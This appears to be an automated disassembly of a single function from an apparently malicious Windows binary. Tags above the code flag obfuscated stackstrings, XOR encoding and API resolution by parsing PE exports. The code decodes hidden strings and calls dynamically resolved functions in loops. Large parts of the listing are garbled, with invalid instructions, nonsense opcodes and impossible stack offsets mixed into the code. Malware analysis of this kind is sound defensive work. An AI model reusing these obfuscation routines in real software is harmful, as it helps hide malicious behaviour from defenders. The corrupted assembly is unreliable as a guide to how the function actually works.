Function at 0x4107ae
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x24c
push ebx
push ebp
push esi
mov ebp, edx
mov dword [esp + 0x110], ecx
xor ebx, ebx
mov dword [esp + 0xdc], ebp
push edi
mov dword [esp + 0x38], 0x3718074e
mov ecx, ebx
mov dword [esp + 0x3c], 0x4b090e3c
mov dword [esp + 0x40], 0xa1f0a2f
mov al, byte [esp + ecx + 0x38]
xor al, 0x6b
movzx eax, al
mov word [esp + ecx*2 + 0x198], ax
inc ecx
cmp ecx, 0xc
jl 0x4107e4
xor eax, eax
mov word [esp + 0x1b0], ax
call 0x41480ffa
mov esi, eax
test esi, esi
je 0x41116d
lea eax, [esp + 0x198]
push ebp
push eax
call fcn.0041b739
test byte [ebx + 0x2824bc89], cl
add dword [eax], eax
add byte [ecx - 8], bl
pop ecx
ror byte [edi], 0x84
cmp byte [ecx], cl
add byte [eax], al
mov ecx, edi
call fcn.0041b793
test al, ch
add al, 0x89
insb byte es:[edi], dx
pop esp
test ebp, ebp
je 0x411166
xor edx, edx
mov ecx, ebp
call fcn.0041b9ff
mov dword [esp + 0x124], eax
pop esi
ror cl, 0xf
in eax, dx
or byte [eax], al
add byte [ebx + 0x6a], dl
add dword [ebp - 0x11bdb74], ecx
add byte [eax], al
adc byte [eax - 1], 0x56
add al, 0x84
call 0x10016687
test dword [ebx - 0x38fffff8], edi
inc esp
and al, 0x18
xchg ebp, eax
mov edx, 0xcb8bb7bd
mov dword [esp + 0x1c], 0xa1bbb0f3
mov dword [esp + 0x20], 0xa6babebc
mov dword [esp + 0x24], 0xb6a4f3be
mov dword [esp + 0x28], 0xb2b7f3b1
mov dword [esp + 0x2c], 0xb7f3b2a7
mov dword [esp + 0x30], 0xbff6f3b1
leave
mov dword [esp + 0x34], 0x448ad9a0
or al, 0x18
mov al, byte [esp + ecx + 0x18]
xor al, 0xd3
mov byte [esp + ecx + 0x1b4], al
inc ecx
cmp ecx, 0x1e
jl 0x4108bd
mov byte [esp + 0x1d2], bl
mov ecx, ebx
mov dword [esp + 0x78], 0x131a1305
mov dword [esp + 0x7c], 0x33760215
mov dword [esp + 0xfe80], 0x243f262e
mov dword [esp + 0xfe84], 0x393f2237
mov dword [esp + 0xfe88], 0x393b0938
mov dword [esp + 0xfe8c], 0x7a3e2238
mov dword [esp + 0xfe90], 0x262e3376
mov dword [esp + 0xfe94], 0x2237243f
mov dword [esp + 0xfe98], 0x938393f
mov dword [esp + 0xfe9c], 0x2437332f
mov dword [esp + 0xfea0], 0x3738767a
mov dword [esp + 0xfea4], 0x3909333b
mov dword [esp + 0xfea8], 0x37350938
mov dword [esp + 0xfeac], 0x767a3224
mov dword [esp + 0xfeb0], 0x32243735
mov dword [esp + 0xfeb4], 0x3b233809
mov dword [esp + 0xfeb8], 0x9243334
mov dword [esp + 0xfebc], 0x24353833
mov dword [esp + 0xfec0], 0x3322262f
mov dword [esp + 0xfec4], 0x4107632
mov dword [esp + 0xfec8], 0x35761b19
mov dword [esp + 0xfecc], 0x3f323324
mov dword [esp + 0xfed0], 0x37350922
mov word [esp + 0xfed4], 0x3224
mov byte [esp + 0xd6], 0x25
mov al, byte [esp + ecx + 0x78]
xor al, 0x56
mov byte [esp + ecx + 0x1f8], al
inc ecx
cmp ecx, 0x5f
jl 0x4109e2
mov byte [esp + 0x1c57], bl
mov eax, ebx
mov dword [esp + 0xfee4], 0x6d746d7b
mov dword [esp + 0xfee8], 0x96487c6b
mov dword [esp + 0xfeec], 0x548d9589
mov dword [esp + 0xfef0], 0x94899e48
mov dword [esp + 0xfef4], 0x6e488d9d
mov dword [esp + 0xfef8], 0x4875777a
mov dword [esp + 0xfefc], 0x979c9d89
mov dword [esp + 0x100], 0x9494918e
movups xmm0, xmmword [esp + eax + 0xe4]
psubb xmm0, xmmword [0x420f80]
movups xmmword [esp + eax + 0x1d4], xmm0
add eax, 0x10
inc eax
call 0x8e212b6f
test byte [esp + esi*4], ah
add dword [eax], eax
add byte [eax + 0x1f4249c], cl
add byte [eax], al
push edi
push eax
call fcn.004125f4
push ebx
lea eax, [esp + 0x20]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x20c]
push eax
push dword [esp + 0xfef4]
call dword [esi + 8]
test al, ch
les ebx, [eax + eax*8]
jne 0x410eee
push dword [esp + 0x14]
lea edi, [esp + 0x3c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
jne 0x410d65
mov dword [esp + 0x68], 0x80888b64
mov dword [esp + 0x6c], 0x3c568e81
mov dword [esp + 0x70], 0x77551c1b
mov dword [esp + 0x74], 0x362c7264
mov dword [esp + 0x44], 0xd7dfbcaa
mov dword [esp + 0x48], 0x9dc2d5ce
mov byte [esp + 0x4c], 0x87
mov ecx, ebx
mov al, byte [esp + ecx + 0x68]
sub al, 0x1c
mov byte [esp + ecx + 0x130], al
inc ecx
cmp ecx, 8
jl 0x410aff
mov byte [esp + 0x138], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x70]
xor al, 0x16
mov byte [esp + ecx + 0x13c], al
inc ecx
cmp ecx, 8
jl 0x410b1b
mov byte [esp + 0x144], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x44]
xor al, 0xa7
mov byte [esp + ecx + 0x148], al
inc ecx
cmp ecx, 9
jl 0x410b37
mov byte [esp + 0x151], bl
mov ecx, ebx
mov word [esp + 0x58], 0x2f
mov dword [esp + 0x18], 0xf5f5c2c5
mov dword [esp + 0x1c], 0xf5f5f5f5
mov dword [esp + 0x20], 0xf5f5f5f5
mov dword [esp + 0x24], 0xf5f5f5f5
mov word [esp + 0x28], 0xc5f5
mov byte [esp + 0x2a], 0xc2
mov al, byte [esp + ecx + 0x18]
xor al, 0xc8
mov byte [esp + ecx + 0x170], al
inc ecx
cmp ecx, 0x13
jl 0x410b86
lea eax, [esp + 0x130]
mov byte [esp + 0x183], bl
push eax
call 0x103d2e8
pop ecx
push eax
lea edx, [esp + 0x134]
lea ecx, [esp + 0x3c]
call fcn.0041b87c
pop ecx
push 2
push dword [esp + 0x18]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 2
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.0041b9d7
pop ecx
lea eax, [esp + 0x13c]
push eax
call 0x103d32b
pop ecx
push eax
lea edx, [esp + 0x140]
lea ecx, [esp + 0x3c]
call fcn.0041b87c
pop ecx
push 3
push dword [esp + 0x18]
call dword [esi + 0x14]
pop ecx
mov edi, eax
jmp 0x410c6a
and al, 0x68
add dword [eax], eax
add byte [ecx + 0x1602494], cl
add byte [eax], al
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x178]
mov dword [esp + 0x17c], edi
push eax
push 3
mov edx, 0xbedfd981
pop ecx
call 0x6a0a53a
or al, 0xd0
test eax, eax
je 0x410cb6
push dword [esp + 0x168]
mov edx, dword [esp + 0x170]
lea ecx, [esp + 0x3c]
call fcn.0041b87c
pop ecx
lea eax, [esp + 0x148]
push eax
call 0x103d3fe
pop ecx
push eax
lea edx, [esp + 0x14c]
lea ecx, [esp + 0x3c]
call fcn.0041b87c
pop ecx
push ebx
push dword [esp + 0x18]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.0041b9d7
pop ecx
lea eax, [esp + 0x58]
push eax
call 0x103d43c
pop ecx
push eax
lea edx, [esp + 0x5c]
lea ecx, [esp + 0x3c]
call fcn.0041b87c
pop ecx
push 1
push dword [esp + 0x18]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.0041b9d7
pop ecx
lea eax, [esp + 0x170]
push eax
call 0x103d47c
pop ecx
push eax
lea edx, [esp + 0x174]
lea ecx, [esp + 0x3c]
call fcn.0041b87c
pop ecx
push dword [esp + 0x14]
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
je 0x410afd
cmp dword [esp + 0x38], ebx
je 0x410eee
mov dword [esp + 0x18], 0x37362110
mov ecx, ebx
mov dword [esp + 0x1c], 0x3210273a
mov dword [esp + 0x20], 0x7c203721
mov dword [esp + 0x24], 0xc203f76
mov dword [esp + 0x28], 0x7d203f76
leave
mov dword [esp + 0x2c], 0x44c62b27
and al, 0x2e
daa
mov al, byte [esp + ecx + 0x18]
xor al, 0x53
movzx eax, al
mov word [esp + ecx*2 + 0xe4], ax
inc ecx
cmp ecx, 0x17
jl 0x410da5
mov ecx, dword [esp + 0xfee0]
lea edx, [esp + 0x50]
xor eax, eax
mov word [esp + 0x112], ax
call fcn.004120f0
test al, bh
pop ecx
rol byte [edi + ecx], 0xca
sahf
add byte [eax], al
mov edx, dword [esp + 0x50]
lea eax, [esp + 0xfee0]
push eax
mov ecx, edi
call fcn.0040f87c
test al, ch
invalid
push dword [esp + ecx*2 + 0x14]
call dword [esi + 0x18]
pop ecx
push ebx
lea eax, [esp + 0x18]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x1e0]
push eax
push dword [esp + 0xfeec]
call dword [esi + 8]
test al, ch
adc al, 0x1c
ror byte [edi], 0x85
or eax, 0xff000002
je 0x410f42
adc al, 0x8d
jl 0x410f46
cmp al, 0xab
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
jne 0x41108c
mov dword [esp + 0x5c], 0x70786c59
mov word [esp + 0x60], 0x2b45
mov dword [esp + 0x44], 0x37005c5b
pop ebx
pop esp
add byte [edi], dh
mov dword [esp + 0x48], 0x6c33233a
mov byte [esp + 0x4c], 0x76
mov ecx, ebx
mov al, byte [esp + ecx + 0x5c]
sub al, 0xb
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, 6
jl 0x410f59
mov byte [esp + 0x11e], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x44]
xor al, 0x56
mov byte [esp + ecx + 0x154], al
inc ecx
cmp ecx, 9
jl 0x410f75
mov byte [esp + 0x15d], bl
mov ecx, ebx
mov dword [esp + 0x18], 0x7f7f484f
mov dword [esp + 0x1c], 0x7f7f7f7f
mov dword [esp + 0x20], 0x7f7f7f7f
mov dword [esp + 0x24], 0x7f7f7f7f
mov word [esp + 0x28], 0x4f7f
mov byte [esp + 0x2a], 0x48
mov al, byte [esp + ecx + 0x18]
xor al, 0x42
mov byte [esp + ecx + 0x184], al
inc ecx
cmp ecx, 0x13
jl 0x410fbd
lea eax, [esp + 0x118]
mov byte [esp + 0x197], bl
push eax
call 0x103d71f
pop ecx
push eax
lea edx, [esp + 0x11c]
lea ecx, [esp + 0x3c]
call fcn.0041b87c
pop ecx
push ebx
push dword [esp + 0x18]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.0041b9d7
pop ecx
lea eax, [esp + 0x154]
push eax
call 0x103d760
pop ecx
push eax
lea edx, [esp + 0x158]
lea ecx, [esp + 0x3c]
call fcn.0041b87c
pop ecx
push 1
push dword [esp + 0x18]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.0041b9d7
pop ecx
lea eax, [esp + 0x184]
push eax
call 0x103d7a3
pop ecx
push eax
lea edx, [esp + 0x188]
lea ecx, [esp + 0x3c]
call fcn.0041b87c
pop ecx
push dword [esp + 0x14]
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
je 0x410f57
cmp dword [esp + 0x38], ebx
je 0x411128
mov dword [esp + 0x18], 0x5a414074
mov dword [esp + 0x1c], 0x59595c53
mov dword [esp + 0x20], 0x59101a46
mov dword [esp + 0x24], 0x59106a46
mov dword [esp + 0x28], 0x4d411b46
mov byte [esp + 0x2c], 0x41
mov al, byte [esp + ebx + 0x18]
xor al, 0x35
movzx eax, al
mov word [esp + ebx*2 + 0xfee4], ax
inc ebx
cmp ebx, 0x15
jl 0x4110c3
push dword [esp + 0x260]
push cs
xor edi, edi
mov ah, 0x24
sbb byte [ecx], al
add byte [eax], al
mov word [esp + 0x116], ax
lea eax, [esp + 0xfeec]
push eax
call fcn.0041b739
test byte [ebx - 0x7af33b7d], cl
sar bh, 0x16
adc byte [esp + 0x40], dl
adc al, 0x8b
dec esp
cmp byte [edi - 0x18], dl
iretd
push dword [esp + ecx*2 + 0x14]
call dword [esi + 0x18]
mov edi, dword [esp + 0x124]
pop ecx
push dword [esp + 0xfedc]
call dword [esi + 0x1c]
pop ecx
push dword [esp + 0x124]
push esi
call 0x5941d43a
fmul st(1), st(0)
mov edx, 0x62d87b
push ebp
inc ecx
call 0x6a0a9ff
or al, 0xd0
push ebp
push esi
call 0x5941d451
push edi
push esi
call 0x5941d458
pop edi
pop esi
pop esi
pop ebx
add esp, 0x24c
ret